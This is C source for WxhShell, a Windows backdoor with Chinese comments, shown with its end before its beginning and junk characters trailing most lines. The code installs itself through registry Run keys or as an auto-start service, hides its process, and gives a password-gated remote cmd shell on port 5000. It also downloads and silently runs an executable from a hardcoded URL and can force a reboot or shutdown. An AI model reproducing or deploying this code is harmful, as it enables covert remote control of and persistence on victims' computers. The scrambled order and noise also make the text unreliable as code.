    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TG63  
    if(Boot(SHUTDOWN)) !jnqA Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ('* *nP  
    else { !P~ PF:W~|  
    closesocket(wsh); *pTO|x{  
    ExitThread(0); Z&]+A,  
    } s1Tl.p5  
    break; ,|. *,  
    } ~nj bLUB  
  // 获取shell qHR^0&  
  case 's': { Cl9SPz  
    CmdShell(wsh); RZ|HwYG  
    closesocket(wsh); 1t[;`iZ  
    ExitThread(0); fATA%eA8;  
    break; H6ky)kF&  
  } HZDaV&)@  
  // 退出 YQ @dl  
  case 'x': { \)otu\3/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uRm_  
    CloseIt(wsh); >'ksXA4b  
    break; G/fP(o-Wd  
    } c+8>EU AW  
  // 离开 Oj"pj:fB  
  case 'q': {  !u53 3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {\svV 0)~  
    closesocket(wsh); -7k|6"EwM  
    WSACleanup(); K$<`4#i  
    exit(1); Db#W/8 a8k  
    break; fVH*dX'Jz  
        } [ZKtbPHb  
  } GX7 eRqz>  
  } 2q- :p8  
bB;~,W&E1  
  // 提示信息 KUp   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T/GgF&i3  
} \)^,PA3  
  } 0q[p{_t`  
N)y^</Ya  
  return; 29a_ZU7e6  
} hJw |@V  
FQk_#BkK  
// shell模块句柄 g[EM]q,  
int CmdShell(SOCKET sock) mq J0z4I}  
{ .'^6QST  
STARTUPINFO si; <JL\?)}n  
ZeroMemory(&si,sizeof(si)); s- ,=e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Di ^6UK(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5u;Rr 1D  
PROCESS_INFORMATION ProcessInfo; !,? <zg  
char cmdline[]="cmd"; &RK H2R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7P/?wv9+n*  
  return 0; [$( sUc(%  
} 4_Qa=T8  
vzY'+9q1.  
// 自身启动模式 ]aC ':55(  
int StartFromService(void) %[]"QbF?  
{ oLrkOn/aY  
typedef struct  xFBh?  
{ SON ^CvMs{  
  DWORD ExitStatus; ; x:k-s2-  
  DWORD PebBaseAddress; 6R1wn&8  
  DWORD AffinityMask; g08*}0-k  
  DWORD BasePriority; qri}=du&F  
  ULONG UniqueProcessId; Ws-6W!Ib%  
  ULONG InheritedFromUniqueProcessId; @Jb@L  
}   PROCESS_BASIC_INFORMATION; Rk($lW)  
(NH8AS<  
PROCNTQSIP NtQueryInformationProcess; @-'/__cgt  
^M`>YOU2+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jo9J%vo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `zdH1p^w  
pN\)(:"8v  
  HANDLE             hProcess; "gXxRHTX  
  PROCESS_BASIC_INFORMATION pbi; /=8O&1=D  
dtB[m^$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5f;n<EP y  
  if(NULL == hInst ) return 0; FU_fCL8yA  
t8+?U^j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q';&SR#"`K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F&=I7i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ; cGv] A+  
U91 &|  
  if (!NtQueryInformationProcess) return 0; k2EHco0BG  
y;Qy"-)qb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D:=t*2-Iv  
  if(!hProcess) return 0; )l`1)Ea~  
't +"k8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9@:BK;Fi  
QCeMKjCmY  
  CloseHandle(hProcess); H@K#|A=a  
P@qMJ}<j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7~_{.f  
if(hProcess==NULL) return 0; rHvF%o  
_Zh2eXWdjM  
HMODULE hMod; 4bP13f  
char procName[255]; 2]L=s3  
unsigned long cbNeeded; 8';m)Jc  
fv|]= e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QB!jLlg(  
PeO]lq  
  CloseHandle(hProcess); "yg.hK`  
:W~6F*A  
if(strstr(procName,"services")) return 1; // 以服务启动 o^HNF+sm  
Z}|TW~J=  
  return 0; // 注册表启动  b<[jaI0  
} ?nQ_w0j  
_b>F#nD,'%  
// 主模块 ):e+dt  
int StartWxhshell(LPSTR lpCmdLine) J!rY 6[ t  
{ ?#d6i$  
  SOCKET wsl; \I?w)CE@R  
BOOL val=TRUE; ? Phk~ jE  
  int port=0; kW#S]fsfU  
  struct sockaddr_in door; q[-|ZA bbr  
n'T He|:I  
  if(wscfg.ws_autoins) Install(); N? M   
ful#Px6m  
port=atoi(lpCmdLine); FC6xFg^  
x Sv-;!y  
if(port<=0) port=wscfg.ws_port; <>%,}j 9  
M(yH%i^A  
  WSADATA data; BWWq4mdb{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )IQ*  
k^z0Lo|)'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =4eUAeH {w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #,G1R7  
  door.sin_family = AF_INET; 1Q]Rd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u^Vh .g]  
  door.sin_port = htons(port); jAXR`D  
cv2]*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2gt+l?O<PS  
closesocket(wsl); ^EF'TO$  
return 1; yf!,4SUkU  
} zJ;Rt9<7-  
nTPB,QE<  
  if(listen(wsl,2) == INVALID_SOCKET) { FKC\VF  
closesocket(wsl); ~/2g)IS  
return 1; e9&+vsRmA  
} 62Mdm3  
  Wxhshell(wsl); </= CZy5w  
  WSACleanup(); a5|@R<iF  
NetYg]8`  
return 0; %`e`g ^  
F+m[&MKL  
} -ey)J +?t  
xRlYr# %  
// 以NT服务方式启动 n#4Gv|{XMD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w]nX?S8  
{ &f-hG3/M  
DWORD   status = 0; :$?Q D  
  DWORD   specificError = 0xfffffff; Di>rO038  
}k7_'p&yk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;$7v%Ls=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #jBN?Z#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~M5:=zKQ  
  serviceStatus.dwWin32ExitCode     = 0; Q8q@Y R#  
  serviceStatus.dwServiceSpecificExitCode = 0; ?sXG17~Bm  
  serviceStatus.dwCheckPoint       = 0; :Xfn@>;3ui  
  serviceStatus.dwWaitHint       = 0; dFW.}"^c  
)T1iN(Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8YX)0i'  
  if (hServiceStatusHandle==0) return; =xL)$DTg)  
/1d<P! H  
status = GetLastError(); [}-3PpF  
  if (status!=NO_ERROR) 9 |{%i$  
{ (?>cn_m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; + BL{@,zr  
    serviceStatus.dwCheckPoint       = 0; :U'Cor H  
    serviceStatus.dwWaitHint       = 0; ;JT(3yK4>p  
    serviceStatus.dwWin32ExitCode     = status; )&,{?$.  
    serviceStatus.dwServiceSpecificExitCode = specificError; HbM0TXo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  \S4SI  
    return; Xgat-cy'DA  
  } <{Q'&T  
QM'X@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \+m$  
  serviceStatus.dwCheckPoint       = 0; Zb_apjg[4  
  serviceStatus.dwWaitHint       = 0; @MbVWiv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pf&ag#nr  
} 8 lT{1ro  
5MF#&v  
// 处理NT服务事件,比如:启动、停止 3<:jx~y>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5l{Ts04k%  
{ !wE}(0BTx  
switch(fdwControl) BPv>$ m+.  
{ {ci.V*:"  
case SERVICE_CONTROL_STOP: j:,9%tg  
  serviceStatus.dwWin32ExitCode = 0; q7\Ovjs0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2C=Q8ayvX  
  serviceStatus.dwCheckPoint   = 0; #7G*GbKY  
  serviceStatus.dwWaitHint     = 0; I&VTW8jB  
  { `yiC=$*[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cU.9}-)  
  } 6.WceWBR  
  return; g>JLDQdc  
case SERVICE_CONTROL_PAUSE: j5$GFi\kB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7[pBUDA  
  break; g}LAks  
case SERVICE_CONTROL_CONTINUE: xc @Ss[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r6Aneg7  
  break; tc+WWDP#"  
case SERVICE_CONTROL_INTERROGATE: yx38g ca  
  break; >l']H*&B<  
}; zi@]83SS#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1kYl0 zR[  
} V!_71x\-Q  
$sHP\{  
// 标准应用程序主函数 QS[L~97m2M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "R>FqX6FB  
{ co8"sz0(U  
Yr.sm!xA  
// 获取操作系统版本 rwLAW"0Qz  
OsIsNt=GetOsVer(); FzQTDu9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9;.(u'y|  
/AY4M;}p  
  // 从命令行安装 "hxN!,DEZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); FY{e2~gi  
RGKYW>$0RR  
  // 下载执行文件 `.jzuX  
if(wscfg.ws_downexe) { \wcam`f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c/N@zum,{  
  WinExec(wscfg.ws_filenam,SW_HIDE); \MC-4Yz  
} JxE53ev  
]V l]XT$Um  
if(!OsIsNt) { t7 n(Qkrv  
// 如果时win9x,隐藏进程并且设置为注册表启动 c #-U%qZ  
HideProc(); tz4 ]qOH8  
StartWxhshell(lpCmdLine); (wIzat  
} VVH.2&`I  
else 00v&lQBW  
  if(StartFromService()) u0aJu  
  // 以服务方式启动 C2LL|jp*  
  StartServiceCtrlDispatcher(DispatchTable); Nkxm m/Z  
else u H/w\v_I  
  // 普通方式启动 L^2FQti>  
  StartWxhshell(lpCmdLine); `>0MNmu  
-p3Re9  
return 0; A+6 n#  
} qmO6,T-|  
5` Te \H  
?]D"k4  
_^Mx>hb4.  
=========================================== 2gO2jJlv  
^O^l(e!3  
y_\p=0t8  
ono4U.C9  
nJ~drG}TD  
Wu4Lxv]B4  
" q_-7i  
$)3%U?AP  
#include <stdio.h> me[DmiM,  
#include <string.h> ,9WBTH8  
#include <windows.h> ': N51kC  
#include <winsock2.h> ;&1V0U,fx  
#include <winsvc.h> {?'fyEeg  
#include <urlmon.h> pdE3r$C  
C@th O  
#pragma comment (lib, "Ws2_32.lib") |V<h=D5W  
#pragma comment (lib, "urlmon.lib") d&Ef"H  
#1>X58I^  
#define MAX_USER   100 // 最大客户端连接数 ABUSTf<  
#define BUF_SOCK   200 // sock buffer ],P;WPU  
#define KEY_BUFF   255 // 输入 buffer rETRTp0HT  
^tXJj:wtS  
#define REBOOT     0   // 重启 dd]/.Z  
#define SHUTDOWN   1   // 关机  cReB~wk  
4'0Dr++  
#define DEF_PORT   5000 // 监听端口 ki85!k=Q2  
0qX3v<+[6  
#define REG_LEN     16   // 注册表键长度 _-EyT  
#define SVC_LEN     80   // NT服务名长度 TY1I=8  
L:FoSCN Y(  
// 从dll定义API O} f80K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eopD5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0{= `on;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *8LMn   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u,&^&0K,  
*hw\35%P`?  
// wxhshell配置信息 %Ah^E$&n2  
struct WSCFG { V3"=w&2]K  
  int ws_port;         // 监听端口 ELj\[&U  
  char ws_passstr[REG_LEN]; // 口令 ,lyb!k8  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3g >B"t  
  char ws_regname[REG_LEN]; // 注册表键名 qzTuxo0B  
  char ws_svcname[REG_LEN]; // 服务名 d+'p@!W_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m@^1JlH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hRCed4qA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8?%-'z.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YxP&7oq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q}]XYys  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R00eisd  
,gS;m &!'J  
}; !1ED~3 /X  
C_7+a@?B  
// default Wxhshell configuration %T~ig[GstX  
struct WSCFG wscfg={DEF_PORT, {|'E  
    "xuhuanlingzhe", \ioH\9  
    1, MgY0q?.S=  
    "Wxhshell", AT%u%cE-  
    "Wxhshell", g4l !xT  
            "WxhShell Service", H XmS|PX  
    "Wrsky Windows CmdShell Service", s#WAR]x0x  
    "Please Input Your Password: ", Dp':oJC  
  1, 2n|K5FR()  
  "http://www.wrsky.com/wxhshell.exe", !Ze5)g%H  
  "Wxhshell.exe" 4 XAQVq5  
    }; sNLs\4v  
aXoVy&x=  
// 消息定义模块 jJ5W>Q1mK$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K|Di1)7=/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v+X)Qmzf~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RR]CW  
char *msg_ws_ext="\n\rExit."; tfGHea)M  
char *msg_ws_end="\n\rQuit."; !s&NT @ S  
char *msg_ws_boot="\n\rReboot..."; yI"6Da6|y  
char *msg_ws_poff="\n\rShutdown..."; ;t|Ii8Ne  
char *msg_ws_down="\n\rSave to "; ^G.B+dG@`x  
apu4DAy&8  
char *msg_ws_err="\n\rErr!"; o/+13C  
char *msg_ws_ok="\n\rOK!"; SF>c\eTtx  
c5u@pvSP  
char ExeFile[MAX_PATH]; =,UWX3`f  
int nUser = 0; Y$?9Zkp>  
HANDLE handles[MAX_USER]; tQBRA/  
int OsIsNt; , T8>}U(  
6e[VgN-s  
SERVICE_STATUS       serviceStatus; lw< c2 C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o*o/q],C9-  
GhIKvX_N  
// 函数声明 SgS~ {4Zx*  
int Install(void); Mw;sLsu  
int Uninstall(void); 2u5|8  
int DownloadFile(char *sURL, SOCKET wsh); i*@< y/&'  
int Boot(int flag); iT%} $Lu~  
void HideProc(void); P7{gfiB  
int GetOsVer(void); Uk6HQQ  
int Wxhshell(SOCKET wsl); x;8A!8w  
void TalkWithClient(void *cs); AD|2q M))  
int CmdShell(SOCKET sock); ~x ]jB  
int StartFromService(void); 70eb]\%  
int StartWxhshell(LPSTR lpCmdLine); R~S;sJ& c  
&FF"nE*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #6CC3TJ'k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /N&CaH\;^$  
a+%6B_|\  
// 数据结构和表定义 :(M(>4t  
SERVICE_TABLE_ENTRY DispatchTable[] = "CI=`=  
{ !0vG|C ;'  
{wscfg.ws_svcname, NTServiceMain}, uA#P'?  
{NULL, NULL} z{o' G3  
}; lc~%=  
+Zaj,oEE  
// 自我安装 `1bv@yzq  
int Install(void) !Rhl f.x  
{ ,}K7Dg^1  
  char svExeFile[MAX_PATH]; 61)-cVC  
  HKEY key; *q-['"f  
  strcpy(svExeFile,ExeFile); UOxkO  
;{KV /<3  
// 如果是win9x系统,修改注册表设为自启动 N _86t  
if(!OsIsNt) { H*$jc\ dC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d'G0m9u2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6jC`8l:  
  RegCloseKey(key); Bg|5KOnd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aj+2;]M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .P7"e5g e  
  RegCloseKey(key); (A~/'0/  
  return 0; Z2'Bk2 L  
    } 4*Hgv:0?kI  
  } 0 g?z&?  
} IVA mV!.z  
else { =AEBeiz  
?B}{GL2)  
// 如果是NT以上系统,安装为系统服务 $h*L=t(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8n*.).33  
if (schSCManager!=0) <w)r`D6  
{ U'<KC"f:'!  
  SC_HANDLE schService = CreateService /Sc l#4bW  
  ( 'lEA)&d  
  schSCManager, fvdU`*|n)  
  wscfg.ws_svcname, B(n{e53 9f  
  wscfg.ws_svcdisp, hHT_V2*  
  SERVICE_ALL_ACCESS, 7Z-O_h3;)@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vv.|br`;}  
  SERVICE_AUTO_START, 4Za7^c.  
  SERVICE_ERROR_NORMAL, {;:/-0s  
  svExeFile, IHcD*zQ  
  NULL, 9 mmCp&~Z  
  NULL, ucG@?@JENm  
  NULL, 6 1F(<!  
  NULL, 93` AWg/T  
  NULL A*}.EClH  
  ); Dk(1}%0U/  
  if (schService!=0) \kU &^Hi  
  { s#)5h0t#du  
  CloseServiceHandle(schService); <7j87  
  CloseServiceHandle(schSCManager); BA%pY|"Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '<ZlGFt'n  
  strcat(svExeFile,wscfg.ws_svcname); vM*($qpAy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q@nP}Pv&5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~e+\k>^eN  
  RegCloseKey(key); >U]C/P[+  
  return 0; :uK? 4  
    } ecCr6)  
  } T`;%TO*Y  
  CloseServiceHandle(schSCManager); 8(~K~q[Cr  
} zhpt%7So  
} Cif>7]M  
LYaZ1*  
return 1; /oR<A  
} %0,#ADCqOe  
R}4So1  
// 自我卸载 2IKnhBSV3  
int Uninstall(void) A.EbXo/  
{ TiO"xMX  
  HKEY key; jN6uT &{T  
~==>pj  
if(!OsIsNt) { I~Zh@d%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w6{TE(]zp  
  RegDeleteValue(key,wscfg.ws_regname); Y[$!`);Ye  
  RegCloseKey(key); \8?Tdx=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a6WI170^1  
  RegDeleteValue(key,wscfg.ws_regname); 83Q 4On  
  RegCloseKey(key); (+FfB"3]  
  return 0; GJtZ&H  
  } &'}RrW-s  
} 17G'jiY H  
} TTt#a6eJ  
else { *2 2nVKi {  
hR Ue<0o:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NT+?  #0I  
if (schSCManager!=0) Z^IPZF  
{ #>mr[   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qg[/%$x.  
  if (schService!=0) bS"fkf9  
  { Htgx`N|  
  if(DeleteService(schService)!=0) { & '}/f5s|  
  CloseServiceHandle(schService); >V*mr{/1  
  CloseServiceHandle(schSCManager); l33Pm/V2?  
  return 0; O^^C;U@U<1  
  } qpE&go=k'  
  CloseServiceHandle(schService); 5Drq9B9;  
  } 6T#+V37  
  CloseServiceHandle(schSCManager); '4|-9M3f  
} }9W4"e2)  
} ?l^1 *Q,  
zN"J}r:  
return 1; P)MDPI+~  
} (KF=On;=Y  
twlk-2yT!  
// 从指定url下载文件 ;o 0&`b?  
int DownloadFile(char *sURL, SOCKET wsh) #EsNeBu  
{ I$0)Px%z  
  HRESULT hr; ,Qnd3[2[  
char seps[]= "/";  oze&  
char *token; ~?FpU  
char *file; Ju :CMkv  
char myURL[MAX_PATH]; JaL%qco  
char myFILE[MAX_PATH]; NwG= <U*  
,H19`;Q  
strcpy(myURL,sURL); G6FEp`  
  token=strtok(myURL,seps); Dqe^E%mc  
  while(token!=NULL) :"I E  
  { )Hk3A$6(  
    file=token; Hr]h J c  
  token=strtok(NULL,seps); nw<&3k(g}  
  } iCcB@GlA  
}XSfst5-H  
GetCurrentDirectory(MAX_PATH,myFILE); HAJ7m!P  
strcat(myFILE, "\\"); 8peDI7[|  
strcat(myFILE, file);  )8UWhl=  
  send(wsh,myFILE,strlen(myFILE),0); AbYqf%~7`l  
send(wsh,"...",3,0); .On|uC)!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 "Q=Vl"  
  if(hr==S_OK) j(k: @  
return 0; km1~yQ"bH  
else lAJxr8 .  
return 1; (3 #Cl 1]f  
4W)B'+ZK8  
} ^n"OL*ipG  
Bxfc}vC.  
// 系统电源模块 %ve:hym*  
int Boot(int flag) :9_L6  
{ |Clut~G  
  HANDLE hToken; f' aVV!  
  TOKEN_PRIVILEGES tkp; D*F4it.  
D6G oa(!9d  
  if(OsIsNt) { eQD)$d_5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y>EzTV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w`il=ZAC  
    tkp.PrivilegeCount = 1; U 9A~9"O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZOQTINf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /s[l-1zW  
if(flag==REBOOT) { DJ(q 7W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <B6&I$Wc+  
  return 0; d)R:9M}v  
} WeQk<y  
else { lobGj8uxq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7~GB;1n  
  return 0; X '`~s}vGO  
} \7l-@6 '7  
  } Tp-l^?O-p  
  else { K_El&  
if(flag==REBOOT) { d_)o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) # P?6@\  
  return 0; OVko+X`  
} OQ>x5?um  
else { OZTPOz.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x-AZ %)N9  
  return 0; ;ml)l~~YU  
} ;r>snJ=M  
} +tk{"s^r*  
.$%Soyr?,  
return 1; 4)"n RjGg  
} }f8Uc+  
u#V5?i  
// win9x进程隐藏模块 7_mw%|m6@  
void HideProc(void) =R Ah|e  
{ ALNc'MW!  
-Gw$#!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j|/]#@Yr  
  if ( hKernel != NULL ) Okm{Xx  
  { C_n9T{k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hvuIxqv!y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %9M~f*  
    FreeLibrary(hKernel); 0LfU=X0#7  
  } &znQ;NH#  
KA){''>8  
return; & M~`:R  
} LF~*^n>  
Ircp``g  
// 获取操作系统版本 9f',7i  
int GetOsVer(void) ZP;j9 T!  
{ _=NwQu\_F  
  OSVERSIONINFO winfo; }p!HT6 tZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /u0' 6V  
  GetVersionEx(&winfo); 5fm?Lxr&?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kIGbG;"_  
  return 1; 9P~\Mpk  
  else NLrPSqz  
  return 0; OnF3lCmu  
} IZ =Mlu  
HE'2"t[a  
// 客户端句柄模块 {iv<w8CU)  
int Wxhshell(SOCKET wsl) l411a9o  
{ O=$~O\}b  
  SOCKET wsh; n< ud> JIb  
  struct sockaddr_in client; ~<k,#^"}X  
  DWORD myID; <%Ostqj  
i%g#+Gw  
  while(nUser<MAX_USER) L dm?JrU  
{ t: IN,Kl4  
  int nSize=sizeof(client); FRS>KO=3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {2+L @  
  if(wsh==INVALID_SOCKET) return 1; Mnz!nWhk  
;w%*M}`5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8:#rA*Y  
if(handles[nUser]==0) ^B@Wp  
  closesocket(wsh); baP^<w^  
else +Wx{:  
  nUser++; u6_@.a}  
  } ~-dV^SO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &3$z4df  
m^#rB`0;L  
  return 0; d ,Y#H0`  
} &CIVL#];e  
un=2}@ '  
// 关闭 socket Oer^Rk  
void CloseIt(SOCKET wsh) .>mr%#p  
{ sp ]zbX?  
closesocket(wsh); KLL;e/Gf  
nUser--; V h k _  
ExitThread(0); Tzn tO9P+  
} 0%Z]h?EYy|  
y /BJIQ  
// 客户端请求句柄 xritonG/F  
void TalkWithClient(void *cs) :pF_GkG  
{ a?6a b+7#  
qKE:3g35  
  SOCKET wsh=(SOCKET)cs; 9!Ar`Io2@  
  char pwd[SVC_LEN]; \MmI`$  
  char cmd[KEY_BUFF]; w 1Ec_y{  
char chr[1]; >^Yq|~[  
int i,j; sk 2-5S  
IhBp%^H0-  
  while (nUser < MAX_USER) { N*`b%XGn3  
+Ag!?T  
if(wscfg.ws_passstr) { vi|R(&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kdCP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  (:";i&  
  //ZeroMemory(pwd,KEY_BUFF); `KCh*i  
      i=0; Da v PYg  
  while(i<SVC_LEN) { oh KCdT~  
&E4 0* (C  
  // 设置超时 8>.J1C  
  fd_set FdRead; ?  BE6  
  struct timeval TimeOut; gi-Yqco  
  FD_ZERO(&FdRead); =r.mlc``W  
  FD_SET(wsh,&FdRead); }->.k/vc  
  TimeOut.tv_sec=8; A)~X,  
  TimeOut.tv_usec=0; E%'~'[Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qBQ`~4s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XgxX.`H7  
4_UU<GEp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x+h~gckLb  
  pwd=chr[0]; 1$2D O  
  if(chr[0]==0xd || chr[0]==0xa) { X5]TY]  
  pwd=0; \y88d4zX  
  break; a3VM '  
  } 8NU`^L:1  
  i++; $rhgzpZ!X_  
    } e{A9r@p!  
8srBHslI  
  // 如果是非法用户,关闭 socket #!9S}b$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kv@e I$t5  
} [J C:  
/c$\X<b);  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r&2~~_d3y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D!oc>K$B  
%&Fk4Z}M  
while(1) { Lj"A4i_  
;=9 >MS}  
  ZeroMemory(cmd,KEY_BUFF); }HG#s4  
"ywh9cp  
      // 自动支持客户端 telnet标准   +e-,ST&w(  
  j=0; Yyfq  
  while(j<KEY_BUFF) { g!`3{ /4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F*Z=<]<+  
  cmd[j]=chr[0]; $XU5??8  
  if(chr[0]==0xa || chr[0]==0xd) { "iM~Hy  
  cmd[j]=0; K 9kUS  
  break; NB7Y{) w  
  } .,i(2^  
  j++; *1'`"D~  
    } >F@qpjoQE  
ooj~&fu  
  // 下载文件 ?+t1ME|  
  if(strstr(cmd,"http://")) { k78Vh$AA6%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _oB_YL;,*  
  if(DownloadFile(cmd,wsh)) ';G1A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zi'Jr)n  
  else S/`%Q2za4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ln.ZVMZ;  
